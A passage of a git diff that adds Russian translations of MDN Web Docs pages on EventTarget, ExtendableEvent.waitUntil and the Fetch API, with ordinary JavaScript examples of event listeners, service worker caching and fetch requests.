{{SpecName('DOM4', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}{{ Spec2('DOM4') }}
{{SpecName('DOM2 Events', '#Events-EventTarget-dispatchEvent', 'EventTarget.dispatchEvent()')}}{{ Spec2('DOM2 Events') }}Начальное определение.
+ +

Примечание

+ +

dispatchEvent представляет собой последний шаг в процессе create-init-dispatch, который служит для отправки событий.

+ +

Событие может быть создано методом document.createEvent и инициализировано initEvent или, более конкретными инициализирующими методами, такими как initMouseEvent или initUIEvent.

+ +

Смотрите также справку по Event object.

+ +

Поддержка браузерами

+ +

{{Compat("api.EventTarget.dispatchEvent")}}

+ +
+ +
diff --git a/files/ru/web/api/eventtarget/eventtarget/index.html b/files/ru/web/api/eventtarget/eventtarget/index.html new file mode 100644 index 0000000000..e7f8ed381d --- /dev/null +++ b/files/ru/web/api/eventtarget/eventtarget/index.html @@ -0,0 +1,76 @@ +--- +title: EventTarget() +slug: Web/API/EventTarget/EventTarget +translation_of: Web/API/EventTarget/EventTarget +--- +
{{APIRef("DOM Events")}}
+ +

 EventTarget() конструктор создаёт  новый {{domxref("EventTarget")}} экземпляр объекта.

+ +

Синтаксис

+ +
var myEventTarget = new EventTarget();
+ +

Параметры

+ +

Нет параметров.

+ +

Возвращаемые значения

+ +

Экземпляр {{domxref("EventTarget")}} объекта.

+ +

Примеры

+ +
class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7
+ +

Спецификация

+ +

Срецификация

+ + + + + + + + + + + + + + +
СрецификацияСтатусКомментарии
{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}{{Spec2('DOM WHATWG')}} 
+ +

Совместимость браузеров

+ +
+ + +

{{Compat("api.EventTarget.EventTarget")}}

+
+ +

Смотрите так же

+ + + +

 

diff --git a/files/ru/web/api/eventtarget/index.html b/files/ru/web/api/eventtarget/index.html new file mode 100644 index 0000000000..14aab04ab3 --- /dev/null +++ b/files/ru/web/api/eventtarget/index.html @@ -0,0 +1,120 @@ +--- +title: EventTarget +slug: Web/API/EventTarget +tags: + - DOM + - Interface +translation_of: Web/API/EventTarget +--- +

{{ ApiRef("DOM Events") }}

+ +

EventTarget - это интерфейс, реализуемый объектами, которые могут генерировать события и могут иметь подписчиков на эти события.

+ +

Наиболее частые генераторы событий - {{domxref("Element")}}, {{domxref("document")}}, и {{domxref("window")}},  но другие объекты так же могут использоваться в качестве источников событий , например {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}}, и другие.

+ +

Многие источники событий (включая элементы, документ и окно) также поддерживают установку обработчиков событий с помощью on... свойств и аттрибутов.

+ +

Методы

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
Регистрирует обработчик событий указанного типа на объекте.
+
{{domxref("EventTarget.removeEventListener()")}}
+
Удаляет обработчик события.
+
{{domxref("EventTarget.dispatchEvent()")}}
+
Генерирует событие на объекте EventTarget.
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}{{Spec2('DOM WHATWG')}}Без изменений.
{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}{{Spec2('DOM3 Events')}}Несколько параметров теперь являються необязательными (listener), или принимают нулевое значение (useCapture).
{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}{{Spec2('DOM2 Events')}}Начальное определение.
+ +

Браузерная совместимость

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{ CompatGeckoDesktop("1") }}9.071.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка1.0{{ CompatGeckoMobile("1") }}9.06.01.0
+
+ +

Дополнительные методы для Mozilla chrome кода

+ +

Mozilla extensions for use by JS-implemented event targets to implement on* properties. Смотрите так-же WebIDL bindings.

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/eventtarget/removeeventlistener/index.html b/files/ru/web/api/eventtarget/removeeventlistener/index.html new file mode 100644 index 0000000000..3470bb95a8 --- /dev/null +++ b/files/ru/web/api/eventtarget/removeeventlistener/index.html @@ -0,0 +1,155 @@ +--- +title: Метод EventTarget.removeEventListener() +slug: Web/API/EventTarget/removeEventListener +tags: + - API + - Браузерная совместимость + - Обработка событий + - метод +translation_of: Web/API/EventTarget/removeEventListener +--- +

{{APIRef("DOM Events")}}

+ +

Удаляет обработчик события, который был зарегистрирован при помощи {{domxref("EventTarget.addEventListener()")}}. Обработчик определяется типом события, самой функцией обработки события, и дополнительными параметрами, переданными при регистрации обработчика.

+ +

Синтаксис

+ +
target.removeEventListener(type, listener[, options]);
+target.removeEventListener(type, listener[, useCapture]);
+
+ +

Параметры

+ +
+
type
+
Строка, описывающая тип события, которое нужно удалить.
+
listener
+
{{ domxref("EventListener") }} функция, которую нужно удалить с элемента.
+
options {{optional_inline}}
+
Объект опций, описывающий характеристики обработчика события. Доступные опции: +
    +
  • capture: {{jsxref("Boolean")}}. Указывает на то, что события этого типа отправляются данному обработчику до того, как происходит их передача любым EventTarget, находящимся ниже него в дереве DOM.
    • +
  • passive: {{jsxref("Boolean")}}. Указывает на то, что listener никогда не будет вызывать preventDefault(). В противном случае (если listener вызовет preventDefault() ), user agent проигнорирует вызов и сгенерирует предупреждение в консоли.
    • +
+
+
useCapture {{optional_inline}}
+
Указывает, был ли удаляемый {{domxref("EventListener")}}зарегистрирован как перехватывающий обработчик, или нет. Если этот параметр отсутствует, предполагается значение по умолчанию:false.
+
Если обработчик был зарегистрирован дважды, один раз с перехватом (с capture) и один - без, каждый из них должен быть удален по отдельности. Удаление перехватывающего обработчика никак не затрагивает не-перехватывающюю версию этого же обработчика, и наоборот.
+
+ +
Заметка: useCapture требуется в большинстве основных браузеров старых версий. Если вы хотите поддерживать большую совместимость, вы всегда должны использовать параметр useCapture.
+ +

Возвращаемое значение

+ +

undefined.

+ +

Поиск обработчика при удалении

+ +

В большинстве браузеров помимо типа события и функции важно лишь совпадение значений параметра useCapture / options.capture, но так как это поведение не закреплено стандартом, наилучшим способом будет указание для removeEventListener() в точности тех же параметров, что были переданы в addEventListener().

+ +

Примечания

+ +

Если {{domxref("EventListener")}} был удален из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.

+ +

Вызов removeEventListener() с параметрами, не соответствующими ни одному зарегистрированному {{domxref("EventListener")}} в EventTarget, не имеет никакого эффекта.

+ +

Пример

+ +

Это пример добавления и последующего удаления обработчика событий.

+ +
var div = document.getElementById('div');
+var listener = function (event) {
+  /* do something here */
+};
+div.addEventListener('click', listener, false);
+div.removeEventListener('click', listener, false);
+
+ +

Совместимость браузеров

+ +

{{Compat("api.EventTarget.removeEventListener", 3)}}

+ +

Gecko примечания

+ + + +

Opera примечания

+ + + +

WebKit примечания

+ + + +

Спецификация

+ + + +

Полифилы для поддержки старых браузеров

+ +

addEventListener() и removeEventListener() отсутствуют в старых браузерах. Это ограничение можно обойти, вставив следующий код в начале ваших скриптов, что позволяет использовать addEventListener() и removeEventListener() в версиях, не поддерживающих эти методы нативно. Тем не менее, этот метод не работает в Internet Explorer версии 7 и ниже, так как расширение Element.prototype не поддерживалось в более ранних версиях Internet Explorer ранее 8.

+ +
if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId < oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId < aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId < aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/extendableevent/index.html b/files/ru/web/api/extendableevent/index.html new file mode 100644 index 0000000000..336ae70a26 --- /dev/null +++ b/files/ru/web/api/extendableevent/index.html @@ -0,0 +1,130 @@ +--- +title: ExtendableEvent +slug: Web/API/ExtendableEvent +tags: + - API + - Experimental + - ExtendableEvent + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorker + - TopicStub + - Workers +translation_of: Web/API/ExtendableEvent +--- +
{{APIRef("Service Workers API")}}
+ +

The ExtendableEvent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle. This ensures that any functional events (like {{domxref("FetchEvent")}}) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.

+ +

If {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} is called outside of the ExtendableEvent handler, the browser should throw an InvalidStateError; note also that multiple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises.

+ +
+

Note: The behaviour described in the above paragraph was fixed in Firefox 43 (see {{bug(1180274)}}.)

+
+ +

This interface inherits from the {{domxref("Event")}} interface.

+ +

{{InheritanceDiagram(700, 60, 20)}}

+ +
+

Note: This interface is only available when the global scope is a {{domxref("ServiceWorkerGlobalScope")}}. It is not available when it is a {{domxref("Window")}}, or the scope of another kind of worker.

+
+ +

Constructor

+ +
+
{{domxref("ExtendableEvent.ExtendableEvent()", "ExtendableEvent()")}}
+
Creates a new ExtendableEvent object.
+
+ +

Properties

+ +

Doesn't implement any specific properties, but inherits properties from its parent, {{domxref("Event")}}.

+ +

Methods

+ +

Inherits methods from its parent, {{domxref("Event")}}.

+ +
+
{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}
+
+

Extends the lifetime of the event.  It is intended to be called in the install {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.installing", "installing")}} worker and on the activate {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.active", "active")}} worker.

+
+
+ +

Examples

+ +

This code snippet is from the service worker prefetch sample (see prefetch example live.) The code calls {{domxref("ExtendableEvent.waitUntil()")}} in {{domxref("ServiceWorkerGlobalScope.oninstall")}}, delaying treating the {{domxref("ServiceWorkerRegistration.installing")}} worker as installed until the passed promise resolves successfully. The promise resolves when all resources have been fetched and cached, or else when any exception occurs.

+ +

The code snippet also shows a best practice for versioning caches used by the service worker. Though there's only one cache in this example, the same approach can be used for multiple caches. It maps a shorthand identifier for a cache to a specific, versioned cache name.

+ +
+

Note: In Chrome, logging statements are visible via the "Inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.

+
+ +
var CACHE_VERSION = 1;
+var CURRENT_CACHES = {
+  prefetch: 'prefetch-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('install', function(event) {
+  var urlsToPrefetch = [
+    './static/pre_fetched.txt',
+    './static/pre_fetched.html',
+    'https://www.chromium.org/_/rsrc/1302286216006/config/customLogo.gif'
+  ];
+
+  console.log('Handling install event. Resources to pre-fetch:', urlsToPrefetch);
+
+  event.waitUntil(
+    caches.open(CURRENT_CACHES['prefetch']).then(function(cache) {
+      return cache.addAll(urlsToPrefetch.map(function(urlToPrefetch) {
+        return new Request(urlToPrefetch, {mode: 'no-cors'});
+      })).then(function() {
+        console.log('All resources have been fetched and cached.');
+      });
+    }).catch(function(error) {
+      console.error('Pre-fetching failed:', error);
+    })
+  );
+});
+ +
Important: When fetching resources, it's very important to use {mode: 'no-cors'} if there is any chance that the resources are served off of a server that doesn't support {{glossary("CORS")}}. In this example, www.chromium.org doesn't support CORS.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#extendableevent', 'ExtendableEvent')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ExtendableEvent")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html new file mode 100644 index 0000000000..136770f499 --- /dev/null +++ b/files/ru/web/api/extendableevent/waituntil/index.html @@ -0,0 +1,77 @@ +--- +title: ExtendableEvent.waitUntil() +slug: Web/API/ExtendableEvent/waitUntil +translation_of: Web/API/ExtendableEvent/waitUntil +--- +

{{APIRef("Service Workers API")}}

+ +

Метод ExtendableEvent.waitUntil() сообщает диспетчеру событий, что выполняется действие. Также этот метод может быть использован, для того чтобы определить было ли то действие успешным. В рамках service workers, waitUntil() сообщает браузеру, что действие продолжается пока обещание не завершится (promise settles) и браузер не должен прерывать service worker если он хочет, чтобы это действие завершилось.

+ +

События install в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют waitUntil() чтобы задержать service worker в {{domxref("ServiceWorkerRegistration.installing", "installing")}} фазе пока не завершатся задачи. Если обещание переданное в waitUntil() отклоняется, установка считается неудачной и устанавлеваемый service worker отбрасывается.  В первую очередь это используется для гарантии того, что service worker не рассматривается как установленный (installed), пока все основные кэши на которые он зависит успешно не заполнены.

+ +

События activate в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют waitUntil() для размещения в буфере функциональных событий таких как fetch и push пока обещание переданное в waitUntil() не завершится успешно. Это дает service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновленное состояние.

+ +

Метод waitUntil() должен быть изначально вызван внутри события обратного вызова (event callback), но после этого он может быть вызван множество раз, до тех пор пока все обещания переданные в него не завершатся успешно.

+ +
+

Примечание: Поведение описанное в параграфе выше, было исправлено в Firefix 43 (смотрите {{bug(1180274)}}).

+
+ +

Синтаксис

+ +
extendableEvent.waitUntil(promise);
+ +

Параметры

+ +

{{jsxref("Promise")}}.

+ +

Возвращаемое значение

+ +

undefined.

+ +

Примеры

+ +

Использование waitUntil() внутри события install в service worker:

+ +
addEventListener('install', event => {
+  const preCache = async () => {
+    const cache = await caches.open('static-v1');
+    return cache.addAll([
+      '/',
+      '/about/',
+      '/static/styles.css'
+    ]);
+  };
+  event.waitUntil(preCache());
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('Service Workers', '#dom-extendableevent-waituntil', 'waitUntil()')}}{{Spec2('Service Workers')}}Изначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.ExtendableEvent.waitUntil")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html new file mode 100644 index 0000000000..ec05253d7f --- /dev/null +++ b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html @@ -0,0 +1,33 @@ +--- +title: Cross-global fetch usage +slug: Web/API/Fetch_API/Cross-global_fetch_usage +translation_of: Web/API/Fetch_API/Cross-global_fetch_usage +--- +

Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задается в iframe.

+ +

Крайний случай

+ +

Многие сайты никогда не столкнутся с таким поведением. Чтобы увидеть его:

+ + + +

Проблема

+ +

В прошлом мы разрешали относительный URL адрес вместо текущего глобального, для примера:

+ +
let absolute = new URL(relative, window.location.href)
+ +

Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определенным в спецификации, что может привести к проблемам в дальнейшем.

+ +

Решение

+ +

В Firefox 60 и далее, Mozilla сопоставляет относительный URL с глобальным, которой принадлежит используемой функции fetch() (смотри {{bug(1432272)}}). Таким образом в случае описанном выше, он разрешается в зависимости от расположения iframe:

+ +
let absolute = new URL(relative, frame.contentWindow.location.href)
+ +

Ведется много дискуссий о том, как привести новые спецификации в соотвествие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.

diff --git a/files/ru/web/api/fetch_api/index.html b/files/ru/web/api/fetch_api/index.html new file mode 100644 index 0000000000..cb3917dcf8 --- /dev/null +++ b/files/ru/web/api/fetch_api/index.html @@ -0,0 +1,102 @@ +--- +title: Fetch API +slug: Web/API/Fetch_API +tags: + - API + - Fetch + - Response + - XMLHttpRequest + - request + - Главная + - Справка + - Экспериментальная +translation_of: Web/API/Fetch_API +--- +

{{DefaultAPISidebar("Fetch API")}}

+ +

Fetch API предоставляет интерфейс для получения ресурсов (в том числе по сети). Он покажется знакомым любому, кто использовал {{DOMxRef("XMLHttpRequest")}}, но новый API является более мощным и гибким набором функций.

+ +

Oпределения и использование

+ +

Fetch обеспечивает обобщенное определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.

+ +

Это также предоставляет определение в отношение таких понятий, как CORS и семантика заголовков HTTP origin, заменяя их обособленные определения где бы то ни было.

+ +

Чтобы создать запрос и получить данные, используется метод {{DOMxRef("GlobalFetch.fetch")}}. Он реализован во множестве интерфейсов, в том числе в {{DOMxRef("Window")}} и {{DOMxRef("WorkerGlobalScope")}}. Это позволяет использовать его практически в любом контексте для получения данных.

+ +

Метод fetch() принимает один обязательный аргумент —  путь к данным, которые вы хотите получить. Он возвращает promise, который разрешается в ({{DOMxRef("Response")}}) независимо от того, был ли запрос удачным. Вы можете также передать во втором аргументе необязательный объект с указанием опций (см. {{DOMxRef("Request")}}.)

+ +

Как только {{DOMxRef("Response")}} выполнится успешно, становятся доступными несколько методов для определения тела контента и, как его содержимое олжно быть обработано (см. {{DOMxRef("Body")}}.)

+ +

Вы можете создавать запрос и ответ непосредственно, используя конструкторы {{DOMxRef("Request.Request","Request()")}} и {{DOMxRef("Response.Response","Response()")}}, но маловероятно, что в этом есть необходимость. Напротив, более вероятно, что они будут созданы как результат работы другого API (например, {{DOMxRef("FetchEvent.respondWith")}} в service workers.)

+ +

Отличия от jQuery

+ +

Спецификации fetch() отличаются от jQuery.ajax() тремя основными способами:

+ + + +
Заметка: узнайте больше об использовании Fetch API на Using Fetch и изучите концепции на Fetch basic concepts.
+ +

Прерывание выборки

+ +

Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они еще не завершены. Подробности смотрите на страницах интерфейсов.

+ +

Fetch интерфейсы

+ +
+
{{DOMxRef("GlobalFetch")}}
+
Содержит метод fetch(), используемый для получения ресурсов.
+
{{DOMxRef("Headers")}}
+
Представляет заголовки запроса/ответа, позволяет запрашивать данные и выполнять различные действия в зависимости от результата.
+
{{DOMxRef("Request")}}
+
Запрашивает ресурс.
+
{{DOMxRef("Response")}}
+
Представляет ответ на запрос.
+
+ +

Fetch примесь

+ +
+
{{DOMxRef("Body")}}
+
Предоставляет методы, относящиеся к телу запроса/ответа, позволяя вам определять content-type и то, как ответ должен быть обработан.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Изначальное определение
+ +

Браузерная совместимость

+ +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/fetch_api/using_fetch/index.html b/files/ru/web/api/fetch_api/using_fetch/index.html new file mode 100644 index 0000000000..f123f02792 --- /dev/null +++ b/files/ru/web/api/fetch_api/using_fetch/index.html @@ -0,0 +1,488 @@ +--- +title: Использование Fetch +slug: Web/API/Fetch_API/Using_Fetch +translation_of: Web/API/Fetch_API/Using_Fetch +--- +

Fetch API предоставляет интерфейс JavaScript для работы с запросами и ответами HTTP. Он также предоставляет глобальный метод {{domxref("GlobalFetch.fetch","fetch()")}}, который позволяет легко и логично получать ресурсы по сети асинхронно.

+ +

Подобная функциональность ранее достигалась с помощью {{domxref("XMLHttpRequest")}}. Fetch представляет собой лучшую альтернативу, которая может быть легко использована другими технологиями, такими как {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch также обеспечивает единое логическое место для определения других связанных с HTTP понятий, такие как CORS и расширения для HTTP.

+ +

Обратите внимание, fetch спецификация отличается от jQuery.ajax() в основном в двух пунктах:

+ + + +
+

25 августа 2017 г. в спецификации изменилось значение по умолчанию свойства credentials на same-origin. Firefox применяет это изменение с версии 61.0b13.

+
+ +

Базовый запрос на получение данных действительно прост в настройке. Взгляните на следующий код:

+ +
fetch('http://example.com/movies.json')
+  .then((response) => {
+    return response.json();
+  })
+  .then((data) => {
+    console.log(data);
+  });
+ +

Здесь мы забираем JSON файл по сети и выводим его содержимое в консоль. Самый простой способ использования fetch() заключается в вызове этой функии с одним аргументом — строкой, содержащей путь к ресурсу, который вы хотите получить — которая возвращает promise, содержащее ответ (объект {{domxref("Response")}}).

+ +

Конечно, это просто HTTP-ответ, а не фактический JSON. Чтобы извлечь содержимое тела JSON из ответа, мы используем {{domxref("Body.json","json()")}} метод  (определён миксином {{domxref("Body")}}, который реализован в объектах {{domxref("Request")}} и {{domxref("Response")}}.)

+ +
+

Примечание: Миксин Body имеет подобные методы для извлечения других типов контента; см. раздел {{anch("Тело")}}.

+
+ +

Fetch-запросы контролируются посредством директивы connect-src (Content Security Policy), а не директивой извлекаемых ресурсов.

+ +

Установка параметров запроса

+ +

Метод fetch() может принимать второй параметр - обьект init, который позволяет вам контролировать различные настройки:

+ +
// Пример отправки POST запроса:
+async function postData(url = '', data = {}) {
+  // Default options are marked with *
+  const response = await fetch(url, {
+    method: 'POST', // *GET, POST, PUT, DELETE, etc.
+    mode: 'cors', // no-cors, *cors, same-origin
+    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: 'same-origin', // include, *same-origin, omit
+    headers: {
+      'Content-Type': 'application/json'
+      // 'Content-Type': 'application/x-www-form-urlencoded',
+    },
+    redirect: 'follow', // manual, *follow, error
+    referrerPolicy: 'no-referrer', // no-referrer, *client
+    body: JSON.stringify(data) // body data type must match "Content-Type" header
+  });
+  return await response.json(); // parses JSON response into native JavaScript objects
+}
+
+postData('https://example.com/answer', { answer: 42 })
+  .then((data) => {
+    console.log(data); // JSON data parsed by `response.json()` call
+  });
+ +

С подробным описанием функции и полным списком параметров вы можете ознакомиться на странице {{domxref("GlobalFetch.fetch","fetch()")}}.

+ +

Отправка запроса с учётными данными

+ +

Чтобы браузеры могли отправлять запрос с учётными данными (даже для cross-origin запросов), добавьте credentials: 'include' в объект init, передаваемый вами в метод fetch():

+ +
fetch('https://example.com', {
+  credentials: 'include'
+})
+ +

Если вы хотите отправлять запрос с учетными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте credentials: 'same-origin'.

+ +
// Вызывающий скрипт принадлежит источнику 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})
+ +

Напротив, чтобы быть уверенным, что учётные данные не передаются с запросом, используйте credentials: 'omit':

+ +
fetch('https://example.com', {
+  credentials: 'omit'
+})
+ +

Отправка данных в формате JSON

+ +

При помощи {{domxref("GlobalFetch.fetch","fetch()")}} можно отправлять POST-запросы в формате JSON.

+ +
const url = 'https://example.com/profile';
+const data = { username: 'example' };
+
+try {
+  const response = await fetch(url, {
+    method: 'POST', // или 'PUT'
+    body: JSON.stringify(data), // данные могут быть 'строкой' или {объектом}!
+    headers: {
+      'Content-Type': 'application/json'
+    }
+  });
+  const json = await response.json();
+  console.log('Успех:', JSON.stringify(json));
+} catch (error) {
+  console.error('Ошибка:', error);
+}
+ +

Загрузка файла на сервер

+ +

На сервер можно загрузить файл, используя комбинацию HTML-элемента <input type="file" />, {{domxref("FormData.FormData","FormData()")}} и {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}.

+ +
const formData = new FormData();
+const fileField = document.querySelector('input[type="file"]');
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+try {
+  const response = await fetch('https://example.com/profile/avatar', {
+    method: 'PUT',
+    body: formData
+  });
+  const result = await response.json();
+  console.log('Успех:', JSON.stringify(result));
+} catch (error) {
+  console.error('Ошибка:', error);
+}
+ +

Загрузка нескольких файлов на сервер

+ +

На сервер можно загрузить несколько файлов, используя комбинацию HTML-элемента <input type="file" multiple />, {{domxref("FormData.FormData","FormData()")}} и {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}.

+ +
const formData = new FormData();
+const photos = document.querySelector('input[type="file"][multiple]');
+
+formData.append('title', 'Мой отпуск в Вегасе');
+for (let i = 0; i < photos.files.length; i++) {
+  formData.append('photos', photos.files[i]);
+}
+
+try {
+  const response = await fetch('https://example.com/posts', {
+    method: 'POST',
+    body: formData
+  });
+  const result = await response.json();
+  console.log('Успех:', JSON.stringify(result));
+} catch (error) {
+  console.error('Ошибка:', error);
+}
+ +

Обработка текстового файла построчно

+ +

Фрагменты данных, получаемые из ответа, не разбиваются на строки автоматически (по крайней мере с достаточной точностью) и представляют собой не строки, а объекты {{jsxref("Uint8Array","Uint8Array")}}. Если вы хотите загрузить текстовый файл и обрабатывать его по мере загрузки построчно, то на вас самих ложится груз ответственности за обработку всех упомянутых моментов. Как пример, далее представлен один из способов подобной обработки с помощью создания построчного итератора (для простоты приняты следующие допущения: текст приходит в кодировке UTF-8 и ошибки получения не обрабатываются).

+ +
async function* makeTextFileLineIterator(fileURL) {
+  const utf8Decoder = new TextDecoder("utf-8");
+  let response = await fetch(fileURL);
+  let reader = response.body.getReader();
+  let {value: chunk, done: readerDone} = await reader.read();
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+  let re = /\n|\r|\r\n/gm;
+  let startIndex = 0;
+  let result;
+
+  for (;;) {
+    let result = re.exec(chunk);
+    if (!result) {
+      if (readerDone) {
+        break;
+      }
+      let remainder = chunk.substr(startIndex);
+      ({value: chunk, done: readerDone} = await reader.read());
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+      startIndex = re.lastIndex = 0;
+      continue;
+    }
+    yield chunk.substring(startIndex, result.index);
+    startIndex = re.lastIndex;
+  }
+  if (startIndex < chunk.length) {
+    //последняя строка не имеет символа перевода строки в конце
+    yield chunk.substr(startIndex);
+  }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+  processLine(line);
+}
+ +

Проверка успешности запроса

+ +

В методе {{domxref("GlobalFetch.fetch","fetch()")}} promise будет отклонён (reject) с {{jsxref("TypeError")}}, когда случится ошибка сети или не будет сконфигурирован CORS на стороне запрашиваемого сервера, хотя обычно это означает проблемы доступа или аналогичные — для примера, 404 не является сетевой ошибкой. Для достоверной проверки успешности fetch() будет включать проверку того, что promise успешен (resolved), затем проверку того, что  значение свойства {{domxref("Response.ok")}} является true. Код будет выглядеть примерно так:

+ +
try {
+  const response = await fetch('flowers.jpg');
+  if (!response.ok) {
+    throw new Error('Ответ сети был не ok.');
+  }
+  const myBlob = await response.blob();
+  const objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+} catch (error) {
+  console.log('Возникла проблема с вашим fetch запросом: ', error.message);
+}
+ +

Составление своего объекта запроса

+ +

Вместо передачи пути ресурса, который вы хотите запросить вызовом fetch(), вы можете создать объект запроса, используя конструктор {{domxref("Request.Request","Request()")}}, и передать его в fetch() аргументом:

+ +
const myHeaders = new Headers();
+
+const myInit = {
+  method: 'GET',
+  headers: myHeaders,
+  mode: 'cors',
+  cache: 'default'
+};
+
+const myRequest = new Request('flowers.jpg', myInit);
+const response = await fetch(myRequest);
